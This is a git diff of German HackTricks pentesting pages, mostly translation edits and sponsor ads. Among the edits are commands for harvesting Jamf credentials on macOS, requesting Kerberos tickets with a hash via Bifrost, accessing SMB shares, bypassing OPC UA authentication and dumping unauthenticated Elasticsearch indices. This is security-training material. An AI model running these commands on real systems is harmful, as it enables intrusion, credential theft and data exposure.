Sie könnten auch den Speicherort `/Library/Application Support/Jamf/tmp/` überwachen, um die **benutzerdefinierten Skripte** zu finden, die Administratoren möglicherweise über Jamf ausführen möchten, da sie **hier platziert, ausgeführt und entfernt** werden. Diese Skripte **könnten Anmeldeinformationen enthalten**.
|
||||
|
||||
Allerdings könnten **Anmeldeinformationen** diesen Skripten als **Parameter** übergeben werden, sodass Sie `ps aux | grep -i jamf` überwachen müssten (ohne sogar root zu sein).
|
||||
|
||||
|
@ -139,13 +147,13 @@ Ein **lokales MacOS-Tool**, das Ihnen ebenfalls helfen kann, ist `dscl`:
|
|||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Auch gibt es einige Tools für MacOS, um automatisch das AD zu enumerieren und mit Kerberos zu arbeiten:
|
||||
Auch gibt es einige Tools für MacOS, um automatisch das AD zu enumerieren und mit Kerberos zu spielen:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound ist eine Erweiterung des Bloodhound-Audit-Tools, das das Sammeln und Verarbeiten von Active Directory-Beziehungen auf MacOS-Hosts ermöglicht.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost ist ein Objective-C-Projekt, das entwickelt wurde, um mit den Heimdal krb5 APIs auf macOS zu interagieren. Das Ziel des Projekts ist es, bessere Sicherheitstests rund um Kerberos auf macOS-Geräten unter Verwendung nativer APIs zu ermöglichen, ohne dass andere Frameworks oder Pakete auf dem Ziel erforderlich sind.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) Tool zur Durchführung der Active Directory-Enumeration.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript für Automatisierung (JXA) Tool zur Durchführung der Active Directory-Enumeration.
|
||||
|
||||
### Domain Information
|
||||
### Domain-Informationen
|
||||
```bash
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
|
@ -214,14 +222,14 @@ bifrost --action asktgt --username test_lab_admin \
|
|||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
Mit den erhaltenen Servicetickets ist es möglich, auf Freigaben auf anderen Computern zuzugreifen:
|
||||
Mit erhaltenen Diensttickets ist es möglich, auf Freigaben auf anderen Computern zuzugreifen:
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Zugriff auf den Schlüsselbund
|
||||
|
||||
Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die, wenn sie ohne Aufforderung abgerufen werden, dazu beitragen könnten, eine Red Team-Übung voranzutreiben:
|
||||
Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die, wenn sie ohne Aufforderung zuzugreifen, dazu beitragen könnten, eine Red Team Übung voranzutreiben:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -231,7 +239,7 @@ Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die, w
|
|||
|
||||
MacOS Red Teaming unterscheidet sich von einem regulären Windows Red Teaming, da **MacOS normalerweise direkt mit mehreren externen Plattformen integriert ist**. Eine gängige Konfiguration von MacOS besteht darin, auf den Computer mit **OneLogin synchronisierten Anmeldeinformationen zuzugreifen und mehrere externe Dienste** (wie github, aws...) über OneLogin zu nutzen.
|
||||
|
||||
## Verschiedene Red Team-Techniken
|
||||
## Verschiedene Red Team Techniken
|
||||
|
||||
### Safari
|
||||
|
||||
|
@ -247,6 +255,14 @@ Wenn eine Datei in Safari heruntergeladen wird und es sich um eine "sichere" Dat
|
|||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Holen Sie sich die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln und Ihre harte Arbeit in überzeugende Berichte umzuwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,25 +1,33 @@
|
|||
# 4840 - Pentesting OPC UA
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**OPC UA**, was für **Open Platform Communications Unified Access** steht, ist ein entscheidendes Open-Source-Protokoll, das in verschiedenen Branchen wie Fertigung, Energie, Luft- und Raumfahrt sowie Verteidigung für den Datenaustausch und die Steuerung von Geräten verwendet wird. Es ermöglicht einzigartig die Kommunikation von Geräten verschiedener Anbieter, insbesondere mit SPS.
|
||||
**OPC UA**, was für **Open Platform Communications Unified Access** steht, ist ein wichtiges Open-Source-Protokoll, das in verschiedenen Branchen wie Fertigung, Energie, Luft- und Raumfahrt sowie Verteidigung für den Datenaustausch und die Steuerung von Geräten verwendet wird. Es ermöglicht einzigartig die Kommunikation von Geräten verschiedener Anbieter, insbesondere mit SPS.
|
||||
|
||||
Seine Konfiguration ermöglicht starke Sicherheitsmaßnahmen, aber oft werden diese zur Kompatibilität mit älteren Geräten verringert, was Systeme Risiken aussetzt. Darüber hinaus kann es schwierig sein, OPC UA-Dienste zu finden, da Netzwerkscanner sie möglicherweise nicht erkennen, wenn sie auf nicht standardmäßigen Ports sind.
|
||||
Seine Konfiguration ermöglicht starke Sicherheitsmaßnahmen, aber oft werden diese zur Kompatibilität mit älteren Geräten verringert, was Systeme Risiken aussetzt. Darüber hinaus kann es schwierig sein, OPC UA-Dienste zu finden, da Netzwerkscanner sie möglicherweise nicht erkennen, wenn sie sich auf nicht standardmäßigen Ports befinden.
|
||||
|
||||
**Standardport:** 4840
|
||||
```text
|
||||
|
@ -34,9 +42,9 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
```
|
||||
### Ausnutzen von Schwachstellen
|
||||
|
||||
Wenn Authentifizierungsumgehungsschwachstellen gefunden werden, können Sie einen [OPC UA-Client](https://www.prosysopc.com/products/opc-ua-browser/) entsprechend konfigurieren und sehen, auf was Sie zugreifen können. Dies kann alles ermöglichen, von der bloßen Anzeige von Prozesswerten bis hin zur tatsächlichen Bedienung von schweren Industrieanlagen.
|
||||
Wenn Authentifizierungsumgehungsschwachstellen gefunden werden, können Sie einen [OPC UA-Client](https://www.prosysopc.com/products/opc-ua-browser/) entsprechend konfigurieren und sehen, auf was Sie zugreifen können. Dies kann alles von lediglich dem Lesen von Prozesswerten bis hin zum tatsächlichen Bedienen von schweren Industrieanlagen ermöglichen.
|
||||
|
||||
Um einen Hinweis auf das Gerät zu erhalten, auf das Sie Zugriff haben, lesen Sie die "ServerStatus"-Knotenwerte im Adressraum und suchen Sie nach einem Benutzerhandbuch.
|
||||
Um einen Hinweis auf das Gerät zu erhalten, auf das Sie Zugriff haben, lesen Sie die "ServerStatus"-Knotenwerte im Adressraum und googeln Sie nach einem Benutzerhandbuch.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -46,6 +54,14 @@ Um einen Hinweis auf das Gerät zu erhalten, auf das Sie Zugriff haben, lesen Si
|
|||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, und verwandeln Sie Ihre harte Arbeit in überzeugende Berichte.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -56,7 +72,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,9 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte umwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -34,7 +36,9 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,23 +1,31 @@
|
|||
# 9200 - Pentesting Elasticsearch
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Elasticsearch ist eine **verteilte**, **Open Source** Such- und Analyse-Engine für **alle Arten von Daten**. Es ist bekannt für seine **Geschwindigkeit**, **Skalierbarkeit** und **einfachen REST-APIs**. Basierend auf Apache Lucene wurde es erstmals 2010 von Elasticsearch N.V. (jetzt bekannt als Elastic) veröffentlicht. Elasticsearch ist der Kernbestandteil des Elastic Stack, einer Sammlung von Open Source-Tools für Datenaufnahme, -anreicherung, -speicherung, -analyse und -visualisierung. Dieser Stack, allgemein als ELK Stack bezeichnet, umfasst auch Logstash und Kibana und hat jetzt leichte Datenversandagenten namens Beats.
|
||||
Elasticsearch ist eine **verteilte**, **Open Source** Such- und Analyse-Engine für **alle Arten von Daten**. Es ist bekannt für seine **Geschwindigkeit**, **Skalierbarkeit** und **einfachen REST-APIs**. Basierend auf Apache Lucene wurde es erstmals 2010 von Elasticsearch N.V. (jetzt bekannt als Elastic) veröffentlicht. Elasticsearch ist die Kernkomponente des Elastic Stack, einer Sammlung von Open Source-Tools für Datenaufnahme, -anreicherung, -speicherung, -analyse und -visualisierung. Dieser Stack, allgemein als ELK Stack bezeichnet, umfasst auch Logstash und Kibana und hat jetzt leichte Datenversandagenten namens Beats.
|
||||
|
||||
### Was ist ein Elasticsearch-Index?
|
||||
|
||||
|
@ -25,7 +33,7 @@ Ein Elasticsearch **Index** ist eine Sammlung von **verwandten Dokumenten**, die
|
|||
|
||||
Elasticsearch verwendet eine effiziente Datenstruktur namens **invertierter Index**, um schnelle Volltextsuche zu ermöglichen. Dieser Index listet jedes einzigartige Wort in den Dokumenten auf und identifiziert die Dokumente, in denen jedes Wort erscheint.
|
||||
|
||||
Während des Indexierungsprozesses speichert Elasticsearch die Dokumente und erstellt den invertierten Index, was eine nahezu Echtzeitsuche ermöglicht. Die **Index-API** wird verwendet, um JSON-Dokumente innerhalb eines bestimmten Index hinzuzufügen oder zu aktualisieren.
|
||||
Während des Indexierungsprozesses speichert Elasticsearch die Dokumente und erstellt den invertierten Index, der nahezu Echtzeitsuchen ermöglicht. Die **Index-API** wird verwendet, um JSON-Dokumente innerhalb eines bestimmten Index hinzuzufügen oder zu aktualisieren.
|
||||
|
||||
**Standardport**: 9200/tcp
|
||||
|
||||
|
@ -41,7 +49,7 @@ Wenn Sie diese Antwort beim Zugriff auf `/` nicht sehen, siehe den folgenden Abs
|
|||
|
||||
### Authentifizierung
|
||||
|
||||
**Standardmäßig ist die Authentifizierung in Elasticsearch nicht aktiviert**, sodass Sie standardmäßig auf alles in der Datenbank zugreifen können, ohne Anmeldeinformationen verwenden zu müssen.
|
||||
**Standardmäßig ist die Authentifizierung in Elasticsearch nicht aktiviert**, sodass Sie standardmäßig auf alles in der Datenbank zugreifen können, ohne Anmeldeinformationen zu verwenden.
|
||||
|
||||
Sie können überprüfen, ob die Authentifizierung deaktiviert ist, indem Sie eine Anfrage an:
|
||||
```bash
|
||||
|
@ -125,9 +133,9 @@ Wenn Sie **alle Inhalte** eines Index dumpen möchten, können Sie auf: `http://
|
|||
|
||||
_Nehmen Sie sich einen Moment Zeit, um die Inhalte jedes Dokuments (Eintrag) im Bank-Index und die Felder dieses Index, die wir im vorherigen Abschnitt gesehen haben, zu vergleichen._
|
||||
|
||||
Zu diesem Zeitpunkt könnten Sie bemerken, dass **es ein Feld namens "total" innerhalb von "hits" gibt**, das anzeigt, dass **1000 Dokumente in diesem Index gefunden wurden**, aber nur 10 abgerufen wurden. Dies liegt daran, dass **standardmäßig eine Begrenzung von 10 Dokumenten besteht**.\
|
||||
An diesem Punkt könnten Sie bemerken, dass **es ein Feld namens "total" innerhalb von "hits" gibt**, das anzeigt, dass **1000 Dokumente in diesem Index gefunden wurden**, aber nur 10 abgerufen wurden. Dies liegt daran, dass **standardmäßig eine Begrenzung von 10 Dokumenten besteht**.\
|
||||
Aber jetzt, da Sie wissen, dass **dieser Index 1000 Dokumente enthält**, können Sie **alle dumpen**, indem Sie die Anzahl der Einträge, die Sie dumpen möchten, im **`size`**-Parameter angeben: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
_Hinweis: Wenn Sie eine größere Zahl angeben, werden trotzdem alle Einträge gedumpt, zum Beispiel könnten Sie `size=9999` angeben und es wäre seltsam, wenn es mehr Einträge gäbe (aber das sollten Sie überprüfen)._
|
||||
_Hinweis: Wenn Sie eine größere Zahl angeben, werden trotzdem alle Einträge dumpen, zum Beispiel könnten Sie `size=9999` angeben und es wäre seltsam, wenn es mehr Einträge gäbe (aber das sollten Sie überprüfen)._
|
||||
|
||||
### Alles dumpen
|
||||
|
||||
|
@ -180,17 +188,25 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
* `port:9200 elasticsearch`
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,25 @@
|
|||
# 53 - Pentesting DNS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
